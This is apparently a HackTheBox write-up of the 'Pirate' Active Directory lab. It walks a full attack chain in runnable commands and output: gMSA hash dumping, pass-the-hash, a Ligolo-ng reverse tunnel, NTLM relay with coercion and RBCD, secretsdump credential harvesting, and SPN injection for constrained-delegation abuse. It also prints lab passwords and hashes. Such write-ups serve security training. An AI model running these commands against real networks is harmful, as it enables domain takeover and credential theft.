HackTheBox: Pirate — Multi-Host AD Attack Chain (gMSA + RBCD + Constrained Delegation)
Pirate — HackTheBox Writeup
IP: 10.129.*.* | Domain: PIRATE.HTB | Difficulty: Hard
Introduction
Pirate is a Hard-rated Windows Active Directory machine from HackTheBox. This is a multi-host box simulating a realistic corporate environment across three machines — DC01, MS01, and WEB01. The attack path chains six distinct AD attack primitives:
- Pre-Windows 2000 Compatible Access — Authenticating as
MS01$using its machine name as password - gMSA Password Extraction — Reading managed service account NTLM hashes via LDAP
- Pass-the-Hash over WinRM — Getting a shell on DC01 using the gMSA hash
- L3 Network Pivoting — Standing up a transparent Ligolo-ng tunnel to the internal
192.168.100.0/24subnet - NTLM Relay to LDAP + RBCD — Creating a backdoor machine account with delegation rights over WEB01
- SPN Injection + Constrained Delegation Abuse — Pivoting from WEB01 Administrator to full Domain Admin on DC01
No CVEs required. Every step exploits Active Directory misconfigurations and abusable delegation settings.
Network Topology
┌──────────────────────────────────────────────────────────────────┐
│ PIRATE.HTB Domain │
│ │
│ ┌─────────────────────┐ ┌──────────────────────────┐ │
│ │ DC01.pirate.htb │ │ MS01.pirate.htb │ │
│ │ 10.129.5.47 │◄─────►│ (machine account MS01$) │ │
│ │ Windows Server 2019│ │ Pre-Win2000 group member│ │
│ │ Domain Controller │ └──────────────────────────┘ │
│ │ KDC / LDAP / WinRM │ │
│ └────────┬────────────┘ │
│ │ │
│ Internal Network: 192.168.100.0/24 │
│ │ │
│ ┌────────▼────────────┐ │
│ │ WEB01.pirate.htb │ │
│ │ 192.168.100.2 │ │
│ │ Windows Server 2019│ │
│ │ user.txt lives here│ │
│ └─────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
Attacker: 10.10.15.202 (tun0) — direct access only to 10.129.5.47
Environment Setup
/etc/hosts
10.129.5.47 DC01.pirate.htb DC01
10.129.5.47 MS01.pirate.htb
10.129.5.47 pirate.htb
192.168.100.2 WEB01.pirate.htb
/etc/krb5.conf
[libdefaults]
default_realm = PIRATE.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
PIRATE.HTB = {
kdc = 10.129.5.47
admin_server = 10.129.5.47
}
[domain_realm]
.pirate.htb = PIRATE.HTB
pirate.htb = PIRATE.HTB
Enumeration
Active Directory Users
| # | Username | Notes |
|---|---|---|
| 1 | j.sparrow | Regular user |
| 2 | a.white_adm | Admin — has Constrained Delegation |
| 3 | a.white | Regular user — user flag on desktop |
| 4 | pentest | Service account (p3nt3st2025!&) |
| 5 | Administrator | Domain Admin |
| 6 | gMSA_ADFS_prod$ | Group Managed Service Account |
| 7 | gMSA_ADCS_prod$ | Group Managed Service Account |
Notable: MS01$ is a member of the "Pre-Windows 2000 Compatible Access" group.
Initial Access — gMSA Password Extraction
1. Request TGT for MS01$
Pre-Windows 2000 Compatible Access group membership means MS01$ authenticates with its machine name as password (ms01). Use faketime to account for clock skew:
faketime "2026-03-01 06:29:04" impacket-getTGT 'PIRATE.HTB/MS01$:ms01'
# [*] Saving ticket in MS01$.ccache
export KRB5CCNAME=MS01\$.ccache
2. Dump gMSA Passwords
faketime "2026-03-01 06:29:04" python3 gMSADumper.py -d pirate.htb -l dc01.pirate.htb -k
Output:
gMSA_ADCS_prod$:::304106f739822ea2ad8ebe23f802d078
gMSA_ADFS_prod$:::8126756fb2e69697bfcb04816e685839
3. Shell on DC01 via Evil-WinRM
evil-winrm -i DC01.pirate.htb -u 'gMSA_ADFS_prod$' -H '8126756fb2e69697bfcb04816e685839'
Pivoting to WEB01 via Ligolo-ng
Setup
# Download
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_agent_0.8.3_windows_amd64.zip
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz
# Attack host — start proxy
./proxy -selfcert -laddr 0.0.0.0:443
# DC01 (via Evil-WinRM) — upload and run agent
upload agent.exe
.\agent.exe -connect <YOURIP>:443 -ignore-cert
Ligolo Session + Route
# In ligolo proxy console:
sessions
1
start
# On attack host:
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 192.168.100.0/24 dev ligolo
sudo ip addr add 192.168.100.50/24 dev ligolo
Verify connectivity:
ping -c 2 192.168.100.2
# Should respond from WEB01
User Flag — RBCD via NTLM Relay
Key lesson learned: WEB01 enforces SMB signing, which blocks SMB→LDAPS relay. The fix is to relay to plain
ldap://(notldaps://) combined with--remove-mic. Also, the relay listener must be on yourtun0IP (10.10.15.202), not the ligolo interface — this is what WEB01 can actually route back to.
1. Set Up NTLM Relay to LDAP
sudo ntlmrelayx.py \
-t ldap://10.129.5.47 \
--delegate-access \
--remove-mic \
-smb2support \
-ip 10.10.15.202 \
--no-validate-privs
Note: Use
ldap://notldaps://. LDAPS rejects the relay when signing is enforced; plain LDAP with--remove-micbypasses the signing requirement.--no-validate-privsprevents a crash caused by the empty-username edge case.
2. Coerce WEB01 Authentication
python3 Coercer.py coerce \
-l 10.10.15.202 \
-t WEB01.pirate.htb \
-d pirate.htb \
-u 'gMSA_ADFS_prod$' \
--hashes :<gMSA_ADFS_prod$_NTLM_hash> \
--always-continue
Result: A new machine account is created:
[*] Adding new computer with username: DKWPYAAQ$ and password: nSAI<eIhv3a,#5t
[*] DKWPYAAQ$ can now impersonate users on WEB01$ via S4U2Proxy
3. Exploit RBCD — Impersonate Administrator on WEB01
getST.py \
-spn 'cifs/WEB01.pirate.htb' \
-impersonate 'Administrator' \
'pirate.htb/DKWPYAAQ$:nSAI<eIhv3a,#5t' \
-dc-ip 10.129.5.47
export KRB5CCNAME=Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
psexec.py -k -no-pass Administrator@WEB01.pirate.htb
4. Grab User Flag
type C:\Users\a.white\Desktop\user.txt
🏁 User Flag: [Redacted]
Root Flag — Constrained Delegation via SPN Injection
1. Dump Credentials from WEB01
Run from your attacker machine (not from inside the psexec shell), with the ccache still exported:
export KRB5CCNAME=/path/to/Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
secretsdump.py -k -no-pass WEB01.pirate.htb -outputfile web01_dump
Note: RemoteRegistry may be stopped — secretsdump starts it automatically. Wait for it to complete.
Relevant output:
[*] DefaultPassword
PIRATE\a.white:E2nvAOKSz5Xz2MJu
2. Reset a.white_adm Password (WriteSPN Target)
# Install if needed
pipx install bloodyAD
bloodyAD -d pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' \
-H 10.129.5.47 set password a.white_adm 'pulse1337!'
# [+] Password changed successfully!
3. SPN Injection (WriteSPN Abuse)
addspn.py is part of krbrelayx. Clone it if needed:
git clone https://github.com/dirkjanm/krbrelayx
Move HTTP/WEB01.pirate.htb from WEB01$ to DC01$ so the S4U delegation targets the DC:
# Remove SPN from WEB01$
python3 krbrelayx/addspn.py \
-u 'pirate.htb\a.white_adm' -p 'pulse1337!' \
-t 'WEB01$' -s 'HTTP/WEB01.pirate.htb' -r 10.129.5.47
# Add SPN to DC01$
python3 krbrelayx/addspn.py \
-u 'pirate.htb\a.white_adm' -p 'pulse1337!' \
-t 'DC01$' -s 'HTTP/WEB01.pirate.htb' 10.129.5.47
Why this works:
a.white_admhas Constrained Delegation configured forHTTP/WEB01.pirate.htb. By moving that SPN ontoDC01$, the S4U2Proxy chain now terminates at the DC instead of WEB01 — giving us Domain Admin.
4. S4U — Impersonate Administrator on DC01
getST.py \
-spn 'HTTP/WEB01.pirate.htb' \
-impersonate 'Administrator' \
'pirate.htb/a.white_adm:pulse1337!' \
-dc-ip 10.129.5.47 \
-altservice 'CIFS/DC01.pirate.htb'
export KRB5CCNAME=Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache
5. Shell on DC01
psexec.py -k -no-pass DC01.pirate.htb
6. Grab Root Flag
type C:\Users\Administrator\Desktop\root.txt
🏁 Root Flag: [Redacted]
Attack Path Summary
MS01$ (Pre-Win2000 group)
└─> TGT as MS01$ (password = machine name)
└─> gMSA dump → gMSA_ADFS_prod$ NTLM hash
└─> Evil-WinRM on DC01
└─> Ligolo-ng → pivot to 192.168.100.0/24
└─> NTLM Relay (ldap://, --remove-mic) + RBCD
└─> psexec as Administrator on WEB01
└─> user.txt ✓
└─> secretsdump → a.white cleartext
└─> Reset a.white_adm password (bloodyAD)
└─> SPN injection (HTTP/WEB01 → DC01$)
└─> S4U2Proxy → CIFS/DC01
└─> psexec as SYSTEM on DC01
└─> root.txt ✓
Technique Summary
| Step | Technique | Tool |
|---|---|---|
| Initial Access | Pre-Win2000 Compatible Access — MS01$ TGT | impacket-getTGT + faketime |
| Credential Dump | gMSA password extraction via LDAP | gMSADumper.py |
| DC01 Shell | Pass-the-Hash over WinRM | Evil-WinRM |
| Pivoting | L3 transparent tunnel to 192.168.100.0/24 | Ligolo-ng |
| RBCD | NTLM Relay to LDAP + machine account creation | ntlmrelayx + Coercer |
| WEB01 Shell | S4U impersonation of Administrator | getST.py + psexec.py |
| Cred Harvest | secretsdump — a.white cleartext | secretsdump.py |
| WriteSPN | Move SPN from WEB01 | addspn.py (krbrelayx) |
| Domain Admin | Constrained Delegation abuse → DC01 SYSTEM | getST.py + psexec.py |
Key Lessons
- Use
ldap://notldaps://for NTLM relay when SMB signing is enforced — combine with--remove-micand--no-validate-privsto avoid crashes. - Listener IP matters for coercion callbacks — use your
tun0IP, not the ligolo interface. The coerced machine needs a route back to your listener. - SPN injection is the most creative step — by moving the SPN that
a.white_adm's delegation trusts onto DC01, the S4U chain hands you Domain Admin. - gMSA hashes are as good as passwords — treat them with the same urgency as plaintext credentials.
- Ligolo-ng over Evil-WinRM is clean and reliable for Windows pivoting — no SOCKS, no proxychains.